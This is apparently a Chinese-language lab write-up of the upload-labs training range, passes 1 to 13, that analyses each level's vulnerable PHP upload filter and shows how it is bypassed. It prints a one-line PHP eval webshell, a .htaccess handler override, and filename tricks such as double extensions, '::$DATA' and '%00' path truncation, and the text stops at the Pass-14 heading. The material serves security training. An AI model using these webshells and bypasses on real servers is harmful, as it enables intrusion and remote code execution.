作者:Dr-black
最近实验室考核,跟着把upload又过了一遍,比以前做的时候分析的更深了些。本次主要站在白盒测试的角度进行上传分析,最后几关详细分析了代码
前置知识 php文件引用分析 先分析一下每个关卡中引用的这几个php文件
config.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php header ("Content-type: text/html;charset=utf-8" );error_reporting (0 );define ("WWW_ROOT" ,$_SERVER ['DOCUMENT_ROOT' ]);define ("APP_ROOT" ,str_replace ('\\' ,'/' ,dirname (__FILE__ )));define ("APP_URL_ROOT" ,str_replace (WWW_ROOT,"" ,APP_ROOT));define ("INC_VUL_PATH" ,APP_URL_ROOT . "/include.php" );define ("UPLOAD_PATH" , "../upload" );?>
helper.php
1 2 3 4 5 6 7 <?php if ($_GET ['action' ] == 'get_prompt' ){ echo '本pass在客户端使用js对不合法图片进行检查!' ; } ?>
其中涉及了define函数,该函数主要用于定义常量,定义之后使用时候无需再加入$符号
1 define (name,value,case_insensitive)
在config.php文件中定义了WWW_ROOT
、APP_ROOT
、APP_URL_ROOT
、INC_VUL_PATH
、UPLOAD_PATH
多个常量
方便理解,我们把内容稍作修改然后打印出来看看
WWW_ROOT
定义为了当前运行脚本所在的文档根目录
APP_ROOT
定义为文件当前路径中的\\
替换为/
后的结果
APP_URL_ROOT
定义为将APP_ROOT
中含有WWW_ROOT
部分删除的结果
INC_VUL_PATH
定义为将APP_URL_ROOT
拼接include.php
UPLOAD_PATH
定义了一个上传路径为上一级的upload文件夹
$_FILES ——通过 HTTP POST 方式上传到当前脚本的项目的数组。
1 2 3 4 5 $_FILES ['myFile' ]['name' ] 客户端文件的原名称。 $_FILES ['myFile' ]['type' ] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif" 。 $_FILES ['myFile' ]['size' ] 已上传文件的大小,单位为字节。 $_FILES ['myFile' ]['tmp_name' ] 文件被上传后在服务端储存的临时文件名,一般是系统默认。$_FILES ['myFile' ]['error' ] 和该文件上传相关的错误代码。['error' ] 是在 PHP 4.2 .0 版本中增加的。
isset()
用于检测变量是否已设置并且非 NULL。
所用上传文件 本文所用info.php文件内容为
本文所用muma.php文件内容为
1 <?php @eval ($_POST ["drblack" ]);?>
Pass-1 前端绕过 函数分析 1 2 3 4 5 alert () getElementsByName () lastIndexOf ()
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php include '../config.php' ; include '../head.php' ; include '../menu.php' ; $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists (UPLOAD_PATH )) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file' ]['name' ]; if (move_uploaded_file ($temp_file, $img_path)){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } } function checkFile ( ) { var file = document .getElementsByName ('upload_file' )[0 ].value ; if (file == null || file == "" ) { alert ("请选择要上传的文件!" ); return false ; } var allow_ext = ".jpg|.png|.gif" ; var ext_name = file.substring (file.lastIndexOf ("." )); if (allow_ext.indexOf (ext_name + "|" ) == -1 ) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert (errMsg); return false ; } }
上传部分控制逻辑为temp_file
记录上传文件的临时名,img_path
为上传文件的新路径(保留原名),再利用move_uploaded_file
函数转移上传的文件到新路径下
通过file.substring(file.lastIndexOf("."));
获取文件的后缀,此处进行一定解读:
第一步通过lastIndexOf()
找到了文件中最后一次出现”.”的位置,然后返回该位置a(假设为a)
第二步通过substring(a)
从a开始往后读取字符串并且返回,从而获取后缀名。
然后和白名单的3种文件类型对比,判断是否属于其中的3类。属于则可以直接上传,否则就上传失败
解题思路
方法一:直接修改或删除js脚本
打开Burpsuit(后文用Bp简写),开启拦截,点击pass-01,打开burpsuit界面,Do intercept-Response to request选项,可以得到这次发包的响应包
然后放包(点击)Forward,即可发现其存在前端验证
然后将其判断的代码删除或者修改,即可成功上传muma.php文件,无需再次抓包
方法二:使用Burpsuit抓包修改后缀达到绕过目的;
首先将info.php文件后缀修改为jpg(前端绕过),然后点击上传通过Burpsuit抓包。如下图,将后缀jpg修改为php即可成功上传
连接蚁剑
Pass-2 服务器端检测–IMME类型 知识补充 Content-type
Content-Type在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息,常见有以下几类值:
multipart/form-data
:一般用于文件上传;又是一个常见的 POST 数据提交的方式。与application/x-www-form-urlencoded不同,这是一个多部分多媒体类型。
application/x-www-form-urlencoded
:最常见的 POST 提交数据的方式,一般用于表单提交。
application/json
:服务端/客户端会按json格式解析数据。需要参数本身就是json格式的数据,参数会被直接放到请求实体里,不进行任何处理
本次主要涉及multipart/form-data
类型绕过
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ] if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!' ; } }
首先通过POST方式提交,并用isset函数检测其是否成功,然后用file_exists()检查文件是否存在,存在则检查其文件的MIME类型是否为以下三种,image/jpeg,image/gif,image/png,如果是,则通过$temp_file变量获取上传文件的临时文件名,然后将该文件移动到
1 UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ]
拼接的路径里面。然后进行判断,正确则返回true,否则就”文件上传错误”.
解题思路 直接上传muma.php进行尝试,发现提示”文件类型不正确,请重新上传”。这里由于后缀不符合,所以无法直接上传php文件。
我们之前对代码进行了分析,发现其存在Content-Type绕过,所以我们上传muma.php文件同时通过Bp进行抓包
将此处修改为image/jpeg即可成功上传,蚁剑能成功连接
Pass-3 黑名单绕过 函数分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 strrchr () strtolower() trim (string ,charlist) string :必需。规定要检查的字符串 charlist 可选。规定从字符串中删除哪些字符。如果省略,则移除以下所有字符 "\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格 str_ireplace(find,replace,string ,count) find 必需。规定要查找的值。 replace 必需。规定替换 find 中的值的值。 string 必需。规定被搜索的字符串。 count 可选。一个变量,对替换数进行计数。 in_array ()
deldot()函数,是该靶场作者自定义的函数,作用是删除文件名末尾的点,它在靶场文件夹下面的common.php文件中,源码:
1 2 3 4 5 6 7 8 9 10 11 12 function deldot ($s ) { for ($i = strlen ($s )-1 ;$i >0 ;$i --){ $c = substr ($s ,$i ,1 ); if ($i == strlen ($s )-1 and $c != '.' ){ return $s ; } if ($c != '.' ){ return substr ($s ,0 ,$i +1 ); } } }
文件上传之后会有一个拼接路径方式,/ + data(日期)+随机数+$file_ex拼接,此处我们的$file_ext为. (有一个空格) ,所以不正确
1 $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
先判断文件是否存在,若存在,则获取其文件名称
通过trim函数去除其文件名称多余的空白字符或者转义字符。
然后通过其自定义的deldot函数删除其文件末尾的点,
再通过strrchr函数获取从文件名中最后一个.符号开始的后面所有字符串(若上传文件为xx.php即可以获取后缀.php)
然后通过strtolower函数将后缀名全部转换为小写,
然后通过str_ireplace函数将后缀名中如果存在的::$DATA符号删去。
然后使用trim函数对后缀进行去空格操作。
通过in_array函数对比其后缀是否属于 $deny_ext中的几项,若不属于,则继续上传
为了方便了解整个过程,我们上传一个muma.php. .文件,看看上传后实际是什么情况
查看对应路径下文件
被修改为了一个日期的随机文件名,但是没有任何后缀,这里后缀按照正确流程应该是.php. .
->.php.空格
->.空格
->.
那么文件名应该是最后后缀为一个.
这里就要提到windows的一个文件特性,对于文件末尾的.
会自动忽略。下方我们将1.php
修改为1.
结果最终windows自动修改为了1
解题思路 直接上传php文件,提示不允许上传
那么我们继续观察,其设置的后缀为黑名单,我们选择这四种后缀之外的文件就可以成功上传,比如php5,我们将其info.php修改为info.php5之后,即可成功上传
Pass-4 .htaccess 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".php1" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
解题思路 该题代码与第三关几乎相同,仅仅在黑名单中多添加了一些后缀,我们仔细观察后发现其没有过滤.htaccess
.htaccess文件,指在特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。
管理员可以通过Apache的AllowOverride ALL
指令来设置打开或关闭该功能
通俗的理解就是,该文件可以作用该目录以及子目录下的所有文件。
我们可以通过该文件,发出某个指令,令其该目录下的文件都当作php文件执行,从而达到利用的目的
创建一个.htaccess文件,文件内容为
1 2 3 <FilesMatch "info.jpg" > SetHandler application/x-httpd-php </FilesMatch>
将.htaccess文件上传
上传我们准备好的info.jpg文件,文件内容<?php phpinfo();?>
,然后点击即可发现上传成功并解析
易错点这里htaccess文件直接命名为.htaccess,前面不要额外加文件名
Pass-5 . .绕过 和user.ini 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这里的代码和第三关有一点微小的区别,我们仔细对照发现,这里的路径变量拼接方式为
1 $img_path = UPLOAD_PATH.'/' .$file_name ;
而第三关为:
1 $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ;
区别在于 第三关拼接的file_ext为其通过strrchr后获取的字符(正常情况下为后缀,但是若为info.php. .这类,则为. ),而本关获取的是文件名(包括完整后缀)。
解题思路
从代码分析模块我们可以发现其路径拼接的区别,所以我们采用. .的绕过方式。上传info.php
文件通过bp抓包修改其后缀为info.php. .
然后上传,经过代码处理后,其文件名会变为info.php.
再即可成功。
我们先模拟一下文件对info.php. .
的处理流程,可以看见$file_name处理后值为info.php.
(这里有一个空格),而$file_ext值为.
最终的文件路径拼接的时候应该是info.php.
最后的空格和.会因为windows系统的特性自动过滤掉,成为info.php
方法二:.user.ini绕过
先了解一下.user.ini是什么,它是PHP 支持基于每个目录的配置 INI 文件。.user.ini
和.htaccess
一样是对当前目录的所以php
文件的配置设置,即写了.user.ini
和它同目录的文件会优先使用.user.ini
中设置的配置属性
下面的是php.ini文件的官方手册
https://www.php.net/manual/zh/ini.core.php#ini.auto-prepend-file
提到了.user.ini
只要不是PHP_INI_SYSTEM
模式下的属性,均可以在.user.ini
中设置,可以通过该表来查看哪些属性属于哪些模式,下面的auto_prepend_file
属性即可用于文件上传攻击
然后上传info.jpg文件,访问upload目录下的readme.php文件即可发现成功解析phpinfo(这里注意踩坑,我开始用的php 5.4发现不行,改为php7.2重启phpstudy后成功,应该是phpstudy下的这个5.4没有配置fastcgi吧)
Pass-6 大小写绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
本关代码与之前的基本相同,不做过多赘述
解题思路 可以发现,这里黑名单过滤了极多的部分,包括.htaccess .ini以及之前用到的php5等。仔细查看源码发现,其没有进行大小写的过滤。所以可以通过大小写进行绕过。
上传info.php文件,然后进行抓包,修改其后缀为info.phP(Php.pHp均可),然后放包即可。
Pass-7 空格绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = $_FILES ['upload_file' ]['name' ]; $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这关源码删去了trim()函数,也就是用来去除字符串两端的空格,所以我们如果在上传文件的后缀名里面加上空格,不属于黑名单内容,我们就可以成功进行上传
解题思路 仔细观察代码中部可以发现,其忽略了空格存在的情况,所以我们可以使用空格绕过的方式,上传info.php进行抓包,然后在其后缀处加上一个空格 即info.php
(此处有一个空格)
然后上传后,打开上传的图片查看,如下图,即成功。
Pass-8 . 绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
由于windows系统中比如后缀.php. .txt.是不可以的,系统会自动略去最后那一位点
解题思路 我们观察源代码,发现其没有删除文件名中小数点的函数
上传info.php.
文件,然后进行抓包,
放包后打开上传的文件,如下即成功。
Pass-9 ::$DATA 特殊符号绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 is_upload = false ; $msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
解题思路 ::$DATA
(只适用于Windows系统)在Windows的时候如果文件名"+::$DATA"
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名绕过,比如上传的文件名为info.php::$DATA
会在服务器上重新生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
本关观察代码后发现其没有进行::$DATA
的过滤,所以按照上述方法。上传info.php文件然后进行抓包添加::$DATA,
上传成功后,可以发现被成功解析
Pass-10 . .点 空格 点绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
删除文件名末尾的点
转换为小写
去除字符串::$DATA
首尾去空
这关和pass-5一样用. .绕过
解题思路 通过代码分析可以推断,我们可以使用. .绕过的方法达到上传php文件的目的。
上传info.php文件修改其后缀为info.php. .
然后放包,打开上传的文件查看
Pass-11 双写绕过 函数分析 本关函数依然是之前的部分
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ,"ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
先使用trim函数去除其两边的空白字符以及转义字符,再使用str_ireplace,将$file_name的字符串与$deny_ext中的黑名单对比,如果有相同的,则从$file_name中删除对应部分,通常这种情况的过滤,可以使用双写对应的字符,使其删除一次后恢复为正确的文件后缀进行绕过。例如pphphp
经过绕过之后修改为php
,
解题思路 通过代码分析发现,我们可以通过双写绕过达到上传文件的目的,上传muma.php文件通过bp抓包。修改其后缀为info.pphphp,然后放包。
打开上传成功的文件,然后查看是否显示为phpinfo界面。
Pass-12 %00截断(GET型) 函数分析 1 2 strrpos (string $haystack , string $needle , int $offset = 0 ): int |false
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
下面的$file_ext
匹配上传文件名
中的.
最后一次出现位置+1后面的所有字符串
1 $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 );
解题思路 通过观察函数可以发现,我们的上传路径是可控的(通过GET方式传参),所以我们想到可以使用%00截断的方法
1 $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ;
也可查看抓包后的信息可以看见有save_path,说明路径可控。我们通过修改路径令save_path: ../uploads/info.php%00
,然后正常上传一个文件后缀为.jpg
的phpinfo
文件,代码处得到的后缀为jpg,能够通过对文件后缀的检测,当径后,在$img_path
变量出就会出现其值为../uploads/info.php%00+随机日期.jpg
,当执行move_uploaded_file
函数时,服务器会对路径中%00后的内容不做解析,默认迁移文件为../uploads/info.php
。
%00截断原理 0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
正确用法 只有数据包中必须含有上传路径的情况下才可以用,比如本次测试中数据包中存在save_path: ../uploads/
,那么攻击者可以通过修改path的值来构造paylod,并且PHP<5.3.29,且magic_quotes_gpc关闭
错误用法 只有文件名的情况下,是不能让%00截断生效的,因为只是文件名可控,即使通过00截断test.php%00.txt
,但是此时经过服务器处理后,文件名仍然为test.php
,不能通过对后缀的检测
所以在此题中,我们上传info.jpg,然后抓包截断。路径处加上info.php%00即可
然后打开上传成功的文件显示的路径,删除其尾部的多余部分(随机日期+后缀),因为实际服务器处理的路径不含后面部分,只有info.php
Pass-13 %00截断(POST型) 函数分析 与之前相同
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
这里和上一关区别只是一个为POST一个为GET方法,在GET请求中会对输入的内容进行URL解码。但POST请求有不同,因为在上传表单中存在一个enctype的属性,而且在enctype=”multipart/form-data”这里,是不会对表单中的数据进行解码的,需要我们将POST中的%00解码后传入。
解题思路
使用burp中的解码功能对%00进行解码
上传成功
Pass-14 图片马(文件包含) 函数分析
